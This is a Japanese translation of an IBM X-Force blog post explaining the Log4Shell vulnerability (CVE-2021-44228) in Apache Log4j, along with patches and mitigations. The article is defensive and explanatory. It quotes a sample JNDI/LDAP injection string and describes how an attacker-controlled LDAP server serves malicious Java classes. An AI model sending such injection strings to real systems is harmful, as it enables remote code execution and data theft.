Log4j脆弱性の影響

記事をシェアする:

これまでApache Log4jを聞いたことがなかったとしても、実は何年もLog4jを使っているかもしれません。

Log4jはロギング・ライブラリーです。例えば、日々の活動を書き込むノートのようなものです。開発者やプログラマーが、アプリケーションやサーバーで発生していることについてメモを取るためにそれを使用します。例えば、誰かが間違ったパスワードでアプリケーションにログインした場合のように、セキュリティー・インシデントをトラブルシューティングするために使用することができます。Log4jは、ユーザーがいつ、どのアプリケーションに、どのパスワードでログインしたかを記録するために使われることもあります。

Log4jは、過去10年間にJavaで開発されたサーバーとクライアント・アプリケーションに多く使用されています。また、Javaは企業で使用されるプログラミング言語の中でも特に利用されています。そのため、2021年12月9日にAlibaba Cloud Security TeamのChen Zhaojun氏が、Log4jのコア機能に影響を与える重要度の高い脆弱性であるCVE-2021-44228（通称Log4Shell）と、一般に利用可能なエクスプロイトを発見したとき、サイバーセキュリティ研究者たちは警鐘を鳴らしました。

CVE 2021-44228は、攻撃者がリモートでコード実行することを可能にします。つまり、攻撃を受けたマシン上で任意のコードを実行し、すべてのデータにアクセスすることができます。また、ファイルの削除や暗号化を行い、身代金を要求することもできます。影響を受けるホストが実行できる機能は、攻撃者もこのエクスプロイトを使って実行することができます。つまり、脆弱なバージョンのLog4jを使用してログに記録しているホストは、すべて攻撃される可能性があるということです。

CVE-2021-44228のテクニカル側面

Log4jでは、ログに記録されたメッセージにJava Naming and Directory Interface (JNDI)を介して外部の情報を参照するフォーマット文字列を含めることができます。これにより、LDAP(Lightweight Directory Access Protocol)を含む様々なプロトコルで情報をリモートで取得することができます。例えば、Log4jがログメッセージの中に次のような文字列を見つけると、JNDIに対して192.168.1.1のLDAPサーバーに「information」オブジェクトを問い合わせるように指示します。

${jndi:ldap://192.168.1.1/information}

設計上、JNDIはLDAPサーバーが参照するJavaクラスを実行するように設計されています。先の例で言えば、LDAPサーバの応答がURL http://192.168.1.2/information を参照していれば、JNDIは自動的にファイルinformation.classをWebサーバに要求し、その応答を実行します。

ログメッセージの内容にはユーザーが管理するデータが含まれていることが多いため、攻撃者は自分が管理するLDAPサーバーを指すJNDI参照を挿入し、任意のアクションを実行する悪意のあるJavaクラスを提供する準備ができます。

CVE-2021-44228の今後の動向は？

CVE-2021-44228はすでに悪用されています。これは驚くべきことではありません。なぜならLog4jは人気があり、プログラムはユーザーが提供したデータをログに含めることが多く、パッチは最近リリースされたばかりです。犯罪者はこれが非常に魅力的な攻撃手法であることに気付くでしょう。今後もランサムウェアなどの攻撃が行われることが予想されます。

単一のアプリケーションへのパッチ適用はそれほど複雑ではありませんが、各アプリケーションをテストして、パッチが何も壊していないことを確認する必要があります。大規模な組織では、何千ものデバイスに何百もの脆弱なアプリケーションが存在することが容易に考えられます。

どうすれば組織を保護できますか？

パッチを当てるのは難しいかもしれませんが、それでも今日取るべき第一の行動です。Apacheは、バージョン2.15.0-rc1をリリースしましたが、バイパスが発見された後、すぐに2.15.0-rc2をリリースしました。

また、パッチを当てられない人のために、Apacheは緩和策を提案しています。

（出典：https://logging.apache.org/log4j/2.x/security.html）

緩和策：リリース 2.10 以降では、システムプロパティ log4j2.formatMsgNoLookups または環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS を true に設定することで、この行為を緩和することができます。
2.0-beta9から2.10.0までのリリースの場合、緩和策はクラスパスからJndiLookupクラスを削除することです。
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

予防的な面では、強力なネットワーク・セキュリティー・コントロールを備えた環境を設計することが有効です。
例えば、適切に設計された環境ではサーバーは明示的に承認された宛先にのみネットワーク接続を行うことができます。デフォルトで拒否するファイアウォール・ルールを作成すると、サーバーが承認されていない接続を作成することを防ぐことができ、セキュリティー侵害のリスクを軽減することができます。これは、インターネットに接続されているサーバーにとって特に重要です。

X-Forceは、ハッカー、レスポンダー、研究者、インテリジェンスアナリスト、調査員からなるIBMセキュリティー・チームで今回の発見を注視しており、調査が進み次第より多くの情報を提供する予定です。情報開示はこのIBM X-Force Exchange Collectionで追跡されており、追加情報が得られれば更新されます。

また、X-ForceはLog4Shellを検出するスキャンツールを作成しました。このツールには無料でアクセスできます。https://github.com/xforcered/scan4log4shell

---

この記事は英語版Security Intelligenceブログ「How Log4j Vulnerability Could Impact You」（2021年12月12日公開）を抄訳したものです。